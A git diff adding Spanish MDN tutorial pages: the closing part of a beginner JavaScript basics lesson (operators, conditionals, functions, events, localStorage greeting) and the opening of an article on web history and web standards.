+   <td><code>let miVariable = true;</code></td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Array")}}</th>
+   <td>Una estructura que te permite almacenar varios valores en una sola referencia.</td>
+   <td><code>let miVariable = [1,'Bob','Steve',10];</code><br>
+    Llama a cada miembro del array así: <code>miVariable[0]</code>, <code>miVariable[1]</code>, etc.</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Object")}}</th>
+   <td>
+    <p>Básicamente cualquier cosa. Todo en JavaScript es un objeto y puede ser almacenado en una variable. Mantén esto en mente mientras aprendes.</p>
+   </td>
+   <td><code>let miVariable = document.querySelector('h1');</code><br>
+    Todos los ejemplos anteriores también.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Entonces, ¿para qué necesitamos las variables? Las variables son necesarias para hacer cualquier cosa interesante en programación. Si los valores no pudieran cambiar, entonces no podrías hacer nada dinámico, como personalizar un mensaje de bienvenida de un usuario que visita tu página, cambiar la imagen que se muestra en una galería de imágenes, etc.</p>
+
+<h3 id="Comentarios">Comentarios</h3>
+
+<p>Puedes escribir comentarios entre el código JavaScript, igual que puedes en CSS. El navegador ignora el texto marcado como comentario. En JavaScript, los comentarios de una sola línea se escriben así:</p>
+
+<pre class="brush: js notranslate">// Esto es un comentario</pre>
+
+<p>Pero también puedes escribir comentarios en más de una línea, igual que en CSS:</p>
+
+<pre class="brush: js notranslate">/*
+Esto es un comentario
+de varias líneas.
+*/</pre>
+
+<h3 id="Operadores">Operadores</h3>
+
+<p>Un {{Glossary("operator", "operador")}} es básicamente un símbolo matemático que puede actuar sobre dos valores (o variables) y producir un resultado. En la tabla de abajo aparecen los operadores más simples, con algunos ejemplos para probarlos en la consola del navegador.</p>
+
+<table class="standard-table" style="height: 679px; width: 702px;">
+ <thead>
+  <tr>
+   <th scope="row">Operador</th>
+   <th scope="col">Explicación</th>
+   <th scope="col">Símbolo(s)</th>
+   <th scope="col">Ejemplo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Suma/concatena</th>
+   <td>Se usa para sumar dos números, o juntar dos cadenas en una.</td>
+   <td><code>+</code></td>
+   <td><code>6 + 9;<br>
+    "Hola " + "mundo!";</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Resta, multiplicación, división</th>
+   <td>Estos hacen lo que esperarías que hicieran en las matemáticas básicas.</td>
+   <td><code>-</code>, <code>*</code>, <code>/</code></td>
+   <td><code>9 - 3;<br>
+    8 * 2; // La multiplicación en JS es un asterisco<br>
+    9 / 3;</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Operador de asignación</th>
+   <td>Los has visto anteriormente: asigna un valor a una variable.</td>
+   <td><code>=</code></td>
+   <td><code>let miVariable = 'Bob';</code></td>
+  </tr>
+  <tr>
+   <th scope="row">identidad/igualdad</th>
+   <td>Comprueba si dos valores son iguales entre sí, y devuelve un valor de <code>true</code>/<code>false</code> (booleano).</td>
+   <td><code>===</code></td>
+   <td><code>let miVariable = 3;<br>
+    miVariable === 4;</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Negación, distinto (no igual)</th>
+   <td><br>
+    En ocasiones utilizado con el operador de identidad, la negación es en JS el equivalente al operador lógico NOT — cambia <code>true</code> por <code>false</code> y viceversa.</td>
+   <td><code>!</code>, <code>!==</code></td>
+   <td>
+    <p>La expresión básica es <code>true</code>, pero la comparación devuelve <code>false</code> porque lo hemos negado:</p>
+
+    <p><code>let miVariable = 3;<br>
+     !miVariable === 3;</code></p>
+
+    <p>Aquí estamos comprobando "<code>miVariable</code> NO es igual a 3". Esto devuelve <code>false</code>, porque <code>miVariable</code> ES igual a 3.</p>
+
+    <p><code><code>let miVariable = 3;</code><br>
+     miVariable !== 3;</code></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Hay muchos operadores por explorar, pero con esto será suficiente por ahora. Mira <a href="/es/docs/Web/JavaScript/Reference/Operators">Expresiones y operadores</a> para ver la lista completa.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: mezclar tipos de datos puede dar lugar a resultados extraños cuando se hacen cálculos, así que asegúrate de que relacionas tus variables correctamente y de que recibes los resultados que esperabas. Por ejemplo, teclea: <code>"3" + "25"</code> en tu consola. ¿Por qué no obtienes lo que esperabas? Porque las comillas convierten los números en "strings" (el término inglés para denominar cadenas de caracteres) y de este modo has acabado con los "strings" concatenados entre sí, y no con los números sumados. Si tecleas: <code>35 + 25</code>, obtendrás el resultado correcto.</p>
+</div>
+
+<h3 id="Condicionales">Condicionales</h3>
+
+<p>Las condicionales son estructuras de código que permiten comprobar si una expresión devuelve <em>true</em> o no, y después ejecuta un código diferente dependiendo del resultado. La forma de condicional más común es la llamada <code>if... else</code>. Entonces, por ejemplo:</p>
+
+<pre class="brush: js notranslate">let helado = 'chocolate';
+if (helado === 'chocolate') {
+  alert('¡Sí, amo el helado de chocolate!');
+} else {
+  alert('Awwww, pero mi favorito es el de chocolate...');
+}</pre>
+
+<p>La expresión dentro de <code>if (... )</code> es el criterio — este usa al operador de identidad (descrito arriba) para comparar la variable <code>helado</code> con la cadena <code>chocolate</code> para ver si las dos son iguales. Si esta comparación devuelve <code>true</code>, el primer bloque de código se ejecuta. Si no, ese código se omite y se ejecuta el segundo bloque de código después de la declaración <code>else</code>.</p>
+
+<h3 id="Funciones">Funciones</h3>
+
+<p>Las {{Glossary("Function", "funciones")}} son una manera de encapsular una funcionalidad que quieres reutilizar, de manera que puedes llamar esa función con un solo nombre, y no tendrás que escribir el código entero cada vez que la utilices. Ya has visto algunas funciones más arriba, por ejemplo:</p>
+
+<ol>
+ <li>
+  <pre class="brush: js notranslate"><code>let</code> nombreDeLaVariable = document.querySelector('h1');</pre>
+ </li>
+ <li>
+  <pre class="brush: js notranslate">alert('¡Hola!');</pre>
+ </li>
+</ol>
+
+<p>Estas funciones <code>document.querySelector</code> y <code>alert</code> están integradas en el navegador para poder utilizarlas en cualquier momento.</p>
+
+<p>Si ves algo que parece un nombre de variable, pero tiene paréntesis —<code>()</code>— al final, probablemente es una función. Las funciones con frecuencia toman {{Glossary("Argument", "argumentos")}} —pedazos de datos que necesitan para hacer su trabajo—. Estos se colocan dentro de los paréntesis, y se separan con comas si hay más de uno.</p>
+
+<p>Por ejemplo, la función <code>alert()</code> hace aparecer una ventana emergente dentro de la ventana del navegador, pero necesitas asignarle una cadena como argumento para decirle qué mensaje se debe escribir en la ventana emergente.</p>
+
+<p>Las buenas noticias son que podemos definir nuestras propias funciones —en el siguiente ejemplo escribimos una función simple que toma dos números como argumentos y los multiplica entre sí—:</p>
+
+<pre class="brush: js notranslate">function multiplica(num1,num2) {
+  <code>let</code> resultado = num1 * num2;
+  return resultado;
+}</pre>
+
+<p>Trata de ejecutar la función anterior en la consola. Después trata de usar la nueva función algunas veces, p.ej:</p>
+
+<pre class="brush: js notranslate">multiplica(4, 7);
+multiplica(20, 20);
+multiplica(0.5, 3);
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: la sentencia <a href="/es/docs/Web/JavaScript/Reference/Statements/return"><code>return</code></a> le dice al navegador que devuelva la variable <code>resultado</code> fuera de la función, para que esté disponible para su uso. Esto es necesario porque las variables definidas dentro de funciones, solo están disponibles dentro de esas funciones. Esto se conoce como «{{Glossary("Scope", "ámbito")}} (<em>scope</em> en inglés) de la variable». Lee más sobre <a href="/es/docs/Web/JavaScript/Guide/Grammar_and_types#%C3%81mbito_de_variable">ámbito o alcance de la variable</a>.</p>
+</div>
+
+<h3 id="Eventos">Eventos</h3>
+
+<p>Para crear una interacción real en tu sitio web, debes usar eventos. Estos son unas estructuras de código que captan lo que sucede en el navegador, y permite que en respuesta a las acciones que suceden se ejecute un código. El ejemplo más obvio es un clic (<a href="/es/docs/Web/Events/click">click event</a>), que se activa al hacer clic sobre algo. Para demostrar esto, prueba ingresando lo siguiente en tu consola, luego da clic sobre la página actual:</p>
+
+<pre class="brush: js notranslate">document.querySelector('html').onclick = function() {
+    alert('¡Ouch! ¡Deja de pincharme!');
+}
+</pre>
+
+<p>Hay muchas maneras de enlazar un evento a un elemento; aquí hemos seleccionado el elemento {{htmlelement("html")}} y le asignamos a su propiedad <code><a href="/es/docs/Web/API/GlobalEventHandlers/onclick">onclick</a></code> una función anónima (función sin nombre) que contiene el código que se ejecutará cuando el evento suceda.</p>
+
+<p>Nota que</p>
+
+<pre class="brush: js notranslate">document.querySelector('html').onclick = function(){};
+</pre>
+
+<p>es equivalente a</p>
+
+<pre class="brush: js notranslate"><code>let</code> miHTML = document.querySelector('html');
+miHTML.onclick = function(){};
+</pre>
+
+<p>es solo un modo más corto de escribirlo.</p>
+
+<h2 id="Sobrecargar_tu_sitio_web_de_ejemplo">Sobrecargar tu sitio web de ejemplo</h2>
+
+<p>Ahora vas a repasar un poco lo básico de JavaScript. Añadirás un par de funcionalidades a tu sitio para demostrar lo que puedes hacer.</p>
+
+<h3 id="Añadir_un_cambiador_de_imagen">Añadir un cambiador de imagen</h3>
+
+<p>En esta sección añadirás otra imagen a tu sitio usando la DOM API y agregarás un poco de código para cambiar entre imágenes al hacer clic.</p>
+
+<ol>
+ <li>Primero que todo, busca una imagen que te guste para tu sitio. Asegúrate que sea del mismo tamaño que la primera, o lo más cerca posible.</li>
+ <li>Guarda tu imagen en tu carpeta <code>images</code>.</li>
+ <li>Renombra esta imagen «firefox2.png» (sin las comillas).</li>
+ <li>Ve a tu archivo <code>main.js</code> y agrega el siguiente JavaScript (si tu JavaScript de <em>«Hola Mundo»</em> está aún allí, bórralo).
+  <pre class="brush: js notranslate"><code>let </code>miImage = document.querySelector('img');
+miImage.onclick = function () {
+    <code>let </code>miSrc = miImage.getAttribute('src');
+    if (miSrc === 'images/firefox-icon.png') {
+      miImage.setAttribute('src','images/firefox2.png');
+    } else {
+      miImage.setAttribute('src', 'images/firefox-icon.png');
+    }
+}</pre>
+ </li>
+ <li>Guarda todos los archivos y carga <code>index.html</code> en tu navegador. Ahora cuando hagas clic en la imagen, ¡esta debe cambiar por otra!</li>
+</ol>
+
+<p>Esto fue lo que sucedió: se almacena una referencia a tu elemento {{htmlelement("img")}} en la variable <code>miImage</code>. Luego, haces que esta propiedad del manejador de evento <code>onclick</code> de la variable sea igual a una función sin nombre (una función «anónima»). Ahora, cada vez que se haga clic en la imagen:</p>
+
+<ol>
+ <li>El código recupera el valor del atributo <code>src</code> de la imagen.</li>
+ <li>El código usa una condicional para comprobar si el valor <code>src</code> es igual a la ruta de la imagen original:
+  <ol>
+   <li>Si es así, el código cambia el valor de <code>src</code> a la ruta de la segunda imagen, forzando a que se cargue la otra imagen en el elemento {{htmlelement("img")}}.</li>
+   <li>Si no es así (significa que ya fue modificada), se cambiará el valor de <code>src</code> nuevamente a la ruta de la imagen original, regresando a como era en un principio.</li>
+  </ol>
+ </li>
+</ol>
+
+<h3 id="Añadir_un_mensaje_de_bienvenida_personalizado">Añadir un mensaje de bienvenida personalizado</h3>
+
+<p>Ahora añadirás un poco más de código, para cambiar el título de la página o incluir un mensaje personalizado de bienvenida para cuando el usuario ingrese por primera vez. Este mensaje de bienvenida permanecerá luego de que el usuario abandone la página y estará disponible para cuando regrese. Lo guardarás usando <a href="/es/docs/Web/API/Web_Storage_API">Web Storage API</a>. También se incluirá una opción para cambiar el usuario y por lo tanto también el mensaje de bienvenida en cualquier momento que se requiera.</p>
+
+<ol>
+ <li>En <code>index.html</code>, agrega el siguiente código antes del elemento {{htmlelement("script")}}:
+
+  <pre class="brush: html notranslate">&lt;button&gt;Cambiar de usuario&lt;/button&gt;</pre>
+ </li>
+ <li>En <code>main.js</code>, agrega el siguiente código al final del archivo, exactamente como está escrito. Esto toma referencia al nuevo botón que se agregó y al título y los almacena en variables:
+  <pre class="brush: js notranslate"><code>let</code> miBoton = document.querySelector('button');
+<code>let</code> miTitulo = document.querySelector( 'h1');</pre>
+ </li>
+ <li>Ahora agrega la siguiente función para poner el saludo personalizado, lo que no causará nada aún, pero arreglarás esto en un momento:
+  <pre class="brush: js notranslate">function estableceNombreUsuario() {
+    <code>let</code> miNombre = prompt('Por favor, ingresa tu nombre.');
+    localStorage.setItem('nombre', miNombre);
+    miTitulo.textContent = 'Mozilla es genial,' + miNombre;
+}</pre>
+  La función <code>estableceNombreUsuario()</code> contiene una función <a href="/es/docs/Web/API/Window/prompt"><code>prompt()</code></a>, que crea un cuadro de diálogo como lo hace <code>alert()</code>; la diferencia es que <code>prompt()</code> pide al usuario un dato, y almacena este dato en una variable cuando el botón <strong>Aceptar </strong>del cuadro de diálogo es presionado. En este caso, pedirás al usuario que ingrese su nombre. Luego, llamarás la API <code>localStorage</code>, que nos permite almacenar datos en el navegador y recuperarlos luego. Usarás la función <code>setItem()</code> de localStorage, que crea y almacena un dato en el elemento llamado <code>'nombre'</code>, y coloca este valor en la variable <code>miNombre</code> que contiene el nombre que el usuario ingresó. Finalmente, establecerás el <code>textContent</code> del título a una cadena, más el nombre de usuario recientemente almacenado.</li>
+ <li>Luego, agregarás este bloque <code>if ... else</code>. Se podría llamar a esto el código de inicialización, como se ha establecido para cuando carga la app por primera vez:
+  <pre class="brush: js notranslate">if (!localStorage.getItem('nombre')) {
+    estableceNombreUsuario();
+}
+else {
+    <code>let</code> nombreAlmacenado = localStorage.getItem('nombre');
+    miTitulo.textContent = 'Mozilla es genial,' + nombreAlmacenado;
+}</pre>
+  La primera línea de este bloque usa el operador de negación (NO lógico representado por <code>!</code>) para comprobar si el elemento <code>'nombre'</code> existe. Si no existe, la función <code>estableceNombreUsuario()</code> se iniciará para crearlo. Si ya existe (como por ejemplo cuando el usuario ya ingresó al sitio), se recupera el dato del nombre usando <code>getItem()</code> y se fija mediante <code>textContent</code> del título a la cadena, más el nombre del usuario, como hiciste dentro de <code>estableceNombreUsuario()</code>.</li>
+ <li>Finalmente, agrega abajo el evento <code>onclick</code> que manipulará el botón, de modo que cuando sea pulsado se inicie la función <code>estableceNombreUsuario()</code>. Esto permitirá al usuario establecer un nuevo nombre cada vez que lo desee al pulsar el botón:
+  <pre class="brush: js notranslate">miBoton.onclick = function() {
+    <code>estableceNombreUsuario</code>();
+}</pre>
+ </li>
+</ol>
+
+<p>Ahora cuando visites tu sitio por primera vez, este te pedirá tu nombre y te dará un mensaje personalizado de bienvenida. Puedes cambiar cuantas veces quieras el nombre al presionar el botón. Y como un bonus añadido, ya que el nombre se almacena en el localStorage, este permanecerá después de que cierre el sitio, ¡manteniendo ahí el mensaje personalizado cuando abras el sitio la próxima vez!</p>
+
+<h3 id="¿Un_nombre_de_usuario_nulo">¿Un nombre de usuario nulo?</h3>
+
+<p>Cuando ejecutes el ejemplo y obtengas el cuadro de diálogo que solicita que introduzcas tu nombre de usuario, intenta pulsar el botón <em>Cancelar</em>. Deberías terminar con un título que diga que <em>Mozilla es genial, null</em>. Esto sucede porque, cuando cancelas el mensaje, el valor se establece como <code>null</code>. Null (nulo) es un valor especial en JavaScript que se refiere a la ausencia de un valor.</p>
+
+<p>Además, prueba a dar clic en <em>Aceptar</em> sin introducir un nombre. Deberías terminar con un título que diga que <em>Mozilla es genial</em>, por razones bastante obvias.</p>
+
+<p>Para evitar estos problemas, podrías comprobar que el usuario no ha introducido un nombre en blanco. Actualiza tu función <code>estableceNombreUsuario()</code> a lo siguiente:</p>
+
+<pre class="brush: js notranslate">function estableceNombreUsuario() {
+  let miNombre = prompt('Introduzca su nombre.');
+  if(!miNombre) {
+    estableceNombreUsuario();
+  } else {
+    localStorage.setItem('nombre', miNombre);
+    miTitulo.innerHTML = 'Mozilla is genial, ' + miNombre;
+  }
+}</pre>
+
+<p>En el lenguaje humano, esto significa que si <code>miNombre</code> no tiene ningún valor, ejecute <code>estableceNombreUsuario()</code> de nuevo desde el principio. Si tiene un valor (si la afirmación anterior no es verdadera), entonces almacene el valor en <code>localStorage</code> y establézcalo como el texto del título.</p>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>Si has seguido las instrucciones en este artículo, tendrás una página que luzca como esta (también puede <a href="http://mdn.github.io/beginner-html-site-scripted/">ver nuestra versión aquí</a>):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9539/website-screen-scripted.png" style="display: block; height: 995px; margin: 0px auto; width: 800px;"></p>
+
+<p>Si tuviste problemas, siempre puedes comparar su trabajo con el <a href="https://github.com/mdn/beginner-html-site-scripted/blob/gh-pages/scripts/main.js">código terminado del ejemplo en GitHub</a>.</p>
+
+<p>Aquí solo has rozado la superficie de JavaScript. Si has disfrutado aprendiendo y deseas avanzar más, visita la <a href="/es/docs/Web/JavaScript/Guide">Guía de JavaScript</a>.</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<dl>
+ <dt><a href="/es/docs/Learn/JavaScript">JavaScript</a></dt>
+ <dd>Sumérgete en JavaScript con mucho más detalle.</dd>
+ <dt><a href="https://learnjavascript.online/">Aprende JavaScript</a></dt>
+ <dd>¡Este es un excelente material para los aspirantes a desarrolladores web! Aprende JavaScript en un entorno interactivo, con lecciones cortas y pruebas interactivas, guiadas por una evaluación automatizada. Las primeras 40 lecciones son gratis. El curso completo está disponible por un pequeño pago único (en inglés).</dd>
+</dl>
+
+<p>{{PreviousMenuNext( "Learn/Getting_started_with_the_web/CSS_basics","Learn/Getting_started_with_the_web/Publishing_your_website","Learn/Getting_started_with_the_web")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li id="Installing_basic_software"><a href="/es/Learn/Getting_started_with_the_web/Installing_basic_software">Instalación de software básico</a></li>
+ <li id="What_will_your_website_look_like"><a href="/es/Learn/Getting_started_with_the_web/What_will_your_website_look_like">¿Cómo será tu sitio web?</a></li>
+ <li id="Dealing_with_files"><a href="/es/Learn/Getting_started_with_the_web/Dealing_with_files">El trato con archivos</a></li>
+ <li id="HTML_basics"><a href="/es/Learn/Getting_started_with_the_web/HTML_basics">Conceptos básicos de HTML</a></li>
+ <li id="CSS_basics"><a href="/es/Learn/Getting_started_with_the_web/CSS_basics">Conceptos básicos de CSS</a></li>
+ <li id="JavaScript_basics"><a href="/es/Learn/Getting_started_with_the_web/JavaScript_basics">Conceptos básicos de JavaScript</a></li>
+ <li id="Publishing_your_website"><a href="/es/Learn/Getting_started_with_the_web/Publishing_your_website">Publica tu sitio web</a></li>
+ <li id="How_the_web_works"><a href="/es/Learn/Getting_started_with_the_web/How_the_Web_works">Como funciona la web</a></li>
+</ul>
diff --git a/files/es/learn/getting_started_with_the_web/la_web_y_los_estandares_web/index.html b/files/es/learn/getting_started_with_the_web/la_web_y_los_estandares_web/index.html
new file mode 100644
index 0000000000..daf6e77d18
--- /dev/null
+++ b/files/es/learn/getting_started_with_the_web/la_web_y_los_estandares_web/index.html
@@ -0,0 +1,172 @@
+---
+title: La web y los estándares web
+slug: Learn/Getting_started_with_the_web/La_web_y_los_estandares_web
+tags:
+  - Estándares web
+  - Front-end
+  - Interfáz de Usuario
+  - Novato
+  - Principiante
+  - Web
+  - aprende
+translation_of: Learn/Getting_started_with_the_web/The_web_and_web_standards
+---
+<p dir="ltr">{{learnsidebar}}</p>
+
+<p dir="ltr">Este artículo proporciona algunos antecedentes útiles sobre la Web — cómo surgió, qué son las tecnologías web estándar, cómo funcionan juntas, por qué "desarrollador web" es una gran carrera para elegir y qué tipos de mejores prácticas aprenderás a través de este curso.</p>
+
+<h2 dir="ltr" id="Breve_historia_de_la_web">Breve historia de la web</h2>
+
+<p dir="ltr">Mantendremos esto muy breve, ya que hay muchos artículos (más) detallados de la historia de la web, a los que enlazaremos más adelante (también intenta buscar "historia de la web" en tu motor de búsqueda favorito y ve lo que obtienes, si estás interesado en más detalles).</p>
+
+<p dir="ltr">A fines de la década de 1960, las fuerzas armadas de EE. UU. desarrollaron una red de comunicación llamada {{Glossary("Arpanet")}}. Esta se puede considerar una precursora de la Web, ya que trabajó en la {{interwiki("wikipedia", "conmutación de paquetes")}} y presentó la primera implementación de la {{interwiki("wikipedia", "Familia de protocolos de internet")}} TCP/IP. Estas dos tecnologías forman la base de la infraestructura sobre la que se construye Internet.</p>
+
+<p dir="ltr">En 1980, Tim Berners-Lee (a menudo denominado TimBL) escribió un programa de block de notas llamado ENQUIRE, que presentaba el concepto de enlaces entre diferentes nodos. ¿Te suena familiar?</p>
+
+<p dir="ltr">Avanzó rápidamente hasta 1989, y TimBL escribió <a href="https://www.w3.org/History/1989/proposal.html" rel="noopener">Gestión de la información: una propuesta</a> e hipertexto en el CERN; estas dos publicaciones juntas proporcionaron los antecedentes de cómo funcionaría la web. Recibieron una buena cantidad de interés, suficiente para convencer a los jefes de TimBL de que le permitieran seguir adelante y creara un sistema de hipertexto global.</p>
+
+<p dir="ltr">A finales de 1990, TimBL había creado todo lo necesario para ejecutar la primera versión de la web: {{web.link("/es/docs/Web/HTTP", "HTTP")}}, {{web.link("/es/docs/Web/HTML", "HTML")}}, el primer navegador web, que se llamaba {{interwiki("wikipedia", "WorldWideWeb")}}, un servidor HTTP y algunas páginas web para mirar.</p>
+
+<p dir="ltr">En los años siguientes, la web explotó, se lanzaron varios navegadores, se instalaron miles de servidores web y se crearon millones de páginas web. Bien, este es un muy sencillo resumen de lo que sucedió, pero les prometí un breve resumen.</p>
+
+<p dir="ltr">Un último dato importante para compartir es que en 1994, TimBL fundó el {{interwiki("wikipedia", "World Wide Web Consortium")}} (W3C), una organización que reúne a representantes de muchas empresas de tecnología diferentes para trabajar juntos en la creación de especificaciones de tecnología web. Después de eso, siguieron otras tecnologías como {{web.link("/es/docs/Web/CSS", "CSS")}} y {{web.link("/es/docs/Web/JavaScript", "JavaScript")}}, y la web comenzó a parecerse más a la web que conocemos hoy.</p>
+
+<h2 dir="ltr" id="Estándares_web">Estándares web</h2>
+
+<p dir="ltr"><strong>Los estándares web</strong> son las tecnologías que utilizamos para crear sitios web. Estos estándares existen como extensos documentos técnicos llamados <em>especificaciones</em>, que detallan exactamente cómo debería funcionar la tecnología. Estos documentos no son muy útiles para aprender a usar las tecnologías que describen (es por eso que tenemos sitios como <em>MDN Web Docs</em>), sino que están pensados ​​para que los utilicen los ingenieros de software para implementar esas tecnologías (generalmente en los navegadores web).</p>
+
+<p dir="ltr">Por ejemplo, el <a href="https://html.spec.whatwg.org/multipage/" rel="noopener">lleno de vida Estándar HTML</a> describe exactamente cómo se debe implementar HTML (todos los elementos HTML y sus APIs asociadas y otras tecnologías circundantes).</p>
+
+<p dir="ltr">Los estándares web son creados por organismos de estándares — instituciones que invitan a grupos de personas de diferentes compañías de tecnología a unirse y acordar cómo deberían funcionar las tecnologías de la mejor manera posible para cumplir con todos sus casos de uso. El W3C es el organismo de estándares web más conocido, pero hay otros como <a href="https://whatwg.org/" rel="noopener">WHATWG</a> (que fueron responsables de la modernización del lenguaje HTML), <a href="https://www.ecma-international.org/" rel="noopener">ECMA</a> (que publica el estándar para ECMAScript, en el que se basa JavaScript), <a href="https://www.khronos.org/" rel="noopener">Khronos</a> (que publica tecnologías para gráficos 3D, como WebGL) y otras.</p>
+
+<h3 dir="ltr" id="Estándares_abiertos">Estándares "abiertos"</h3>
+
+<p dir="ltr">Uno de los aspectos clave de los estándares web, que TimBL y el W3C acordaron desde el principio, es que la web (y las tecnologías web) deben ser libres tanto para contribuir como para usar, y no estar gravadas por patentes/licencias. Por lo tanto, cualquiera puede escribir el código para crear un sitio web de forma gratuita y cualquiera puede contribuir al proceso de creación de estándares, donde se escriben las especificaciones.</p>
+
+<p dir="ltr">Debido a que las tecnologías web se crean abiertamente, en colaboración entre muchas empresas diferentes, significa que ninguna empresa las puede controlar, lo cual es algo realmente bueno. No querrías que una sola empresa decidiera repentinamente poner toda la web detrás de un muro de pago, o lanzar una nueva versión de HTML que todos tienen que comprar para continuar creando sitios web, o peor aún, simplemente decidiendo que ya no están interesados, y simplemente apagarlas.</p>
+
+<p dir="ltr">Esto permite que la web siga siendo un recurso público de libre acceso.</p>
+
+<h3 dir="ltr" id="No_rompas_la_web">No rompas la web</h3>
+
+<p dir="ltr">Otra frase que escucharás sobre los estándares web abiertos es "no rompas la web" — la idea es que cualquier tecnología web nueva que se introduzca debe ser compatible con versiones anteriores (es decir, los sitios web antiguos seguirán funcionando) y compatibles con versiones posteriores (las tecnologías futuras a su vez serán compatibles con las que tenemos actualmente). A medida que avances en el material de aprendizaje que se presenta aquí, comenzarás a aprender cómo se hace posible esto con un trabajo de diseño e implementación muy inteligente.</p>
+
+<h2 id="Ser_desarrollador_web_es_bueno">Ser desarrollador web es bueno</h2>
+
+<p>La industria web es un mercado muy atractivo para ingresar si estás buscando trabajo. Las cifras publicadas recientemente dicen que actualmente hay alrededor de 19 millones de desarrolladores web en el mundo, y esa cifra se establecerá en más del doble en la próxima década. Y al mismo tiempo, hay una escasez de habilidades en la industria, entonces, ¿qué mejor momento para aprender sobre desarrollo web?</p>
+
+<p>Sin embargo, no todo es diversión y juegos — crear sitios web es una propuesta más complicada de lo que solía ser, y tendrás que dedicar algo de tiempo a estudiar todas las diferentes tecnologías que necesitas usar, todas las técnicas y las mejores prácticas que necesitas conocer y todos los patrones típicos que se te pedirá que implementes. Te tomará unos meses comenzar realmente a involucrarte en él, y luego deberás seguir aprendiendo para que tu conocimiento se mantenga actualizado con todas las nuevas herramientas y funciones que aparecen en la plataforma web, y seguir practicando y perfeccionando tu oficio.</p>
+
+<p><em>Lo único constante es el cambio.</em></p>
+
+<p>¿Esto suena difícil? No te preocupes: nuestro objetivo es brindarte todo lo que necesitas saber para comenzar, y las cosas serán más fáciles. Una vez que aceptes el cambio constante y la incertidumbre de la web, comenzarás a disfrutar. Como parte de la comunidad web, tendrás toda una red de contactos y material útil para ayudarte, y comenzarás a disfrutar de las posibilidades creativas que brinda.</p>
+
+<p>Ahora eres un creativo digital. Disfruta de la experiencia y el potencial de ganarte la vida.</p>
+
+<h2 id="Descripción_de_las_tecnologías_web_modernas">Descripción de las tecnologías web modernas</h2>
+
+<p>Hay una serie de tecnologías que debes aprender si deseas ser un desarrollador web front-end. En esta sección las describiremos brevemente. Para obtener una explicación más detallada de cómo funcionan juntas algunas de ellas, lee nuestro artículo {{web.link("/es/docs/Learn/Getting_started_with_the_web/How_the_Web_works", "Cómo funciona la web")}}.</p>
+
+<h3 id="Navegadores">Navegadores</h3>
+
+<p>Probablemente estés leyendo estas palabras dentro de un navegador web en este mismo momento (a menos que las hayas impreso o estés utilizando tecnología de asistencia, como un lector de pantalla para leerlas). Los navegadores web son los programas de software que la gente usa para consumir la web e incluyen <a href="https://www.mozilla.org/es-MX/firefox/" rel="noopener">Firefox</a>, <a href="https://www.google.com/intl/es-419/chrome/" rel="noopener">Chrome</a>, <a href="https://www.opera.com/es" rel="noopener">Opera</a>, <a href="https://www.apple.com/mx/safari/" rel="noopener">Safari</a> y <a href="https://www.microsoft.com/es-es/edge" rel="noopener">Edge</a>.</p>
+
+<h3 id="HTTP">HTTP</h3>
+
+<p>El Protocolo de transferencia de hipertexto, o {{web.link("/es/docs/Web/HTTP/Basics_of_HTTP", "HTTP")}}, es un protocolo de mensajería que permite a los navegadores web comunicarse con los servidores web (donde se almacenan los sitios web). Una conversación típica es algo así como</p>
+
+<pre class="brush: bash notranslate">"Hola servidor web. ¿Me puedes dar los archivos que necesito para renderizar bbc.co.uk"?
+
+"Seguro navegador web — aquí los tienes"
+
+[Descarga archivos y renderiza la página web]</pre>
+
+<p>La sintaxis real de los mensajes HTTP (llamados peticiones y respuestas) no es tan legible para los humanos, pero esto te da una idea básica.</p>
+
+<h3 id="HTML_CSS_y_JavaScript">HTML, CSS y JavaScript</h3>
+
+<p>{{web.link("/es/docs/Web/HTML", "HTML")}}, {{web.link("/es/docs/Web/CSS", "CSS")}} y {{web.link("/es/docs/Web/JavaScript", "JavaScript")}} son las tres tecnologías principales que utilizarás para crear un sitio web:</p>
+
+<ul>
+ <li>
+  <p>El lenguaje de marcado de hipertexto, o <strong>HTML</strong>, es un lenguaje de marcado que consta de diferentes elementos en los que puedes ajustar (marcar) el contenido para darle significado (semántica) y estructura. El HTML simple se ve así:</p>
+
+  <pre class="brush: html notranslate"><code>&lt;h1&gt;Este es un encabezado de alto nivel&lt;/h1&gt;
+
+&lt;p&gt;Este es un párrafo de texto.&lt;/p&gt;
+
+&lt;img src="cat.jpg" alt="Una imagen de mi gato"&gt;</code></pre>
+
+  <p>Si adoptamos una analogía de la construcción de casas, HTML sería como los cimientos y las paredes de la casa, que le dan estructura y la mantienen unida.</p>
+ </li>
+ <li>
+  <p>Hojas de estilo en cascada (<strong>CSS</strong> por "<em>Cascading Style Sheets</em>") es un lenguaje basado en reglas que se utiliza para aplicar estilos a tu HTML, por ejemplo, establecer colores del texto y del fondo, agregar bordes, animar cosas o diseñar una página de cierta manera. Como un sencillo ejemplo, el siguiente código convertirá nuestro párrafo HTML en rojo:</p>
+
+  <pre class="notranslate">p  {
+  color: red;
+}</pre>
+
+  <p>En la analogía de la casa, CSS es como la pintura, el papel tapiz, las alfombras y los cuadros que usarías para hacer que la casa se vea bien.</p>
+ </li>
+ <li>
+  <p><strong>JavaScript</strong> es el lenguaje de programación que usamos para agregar interactividad a los sitios web, desde el cambio de estilo dinámico hasta la obtención de actualizaciones desde el servidor, pasando por gráficos complejos en 3D. El siguiente JavaScript simple almacenará en la memoria una referencia a nuestro párrafo y cambiará el texto dentro de él:</p>
+
+  <pre class="brush: js notranslate">let pElem = document.querySelector('p');
+pElem.textContent =  '¡Cambiamos el texto!';</pre>
+
+  <p>En la analogía de la casa, JavaScript es como la cocina, el televisor, el microondas o la secadora de pelo — las cosas que le dan a tu casa una útil funcionalidad.</p>
+ </li>
+</ul>
+
+<h3 id="Herramientas">Herramientas</h3>
+
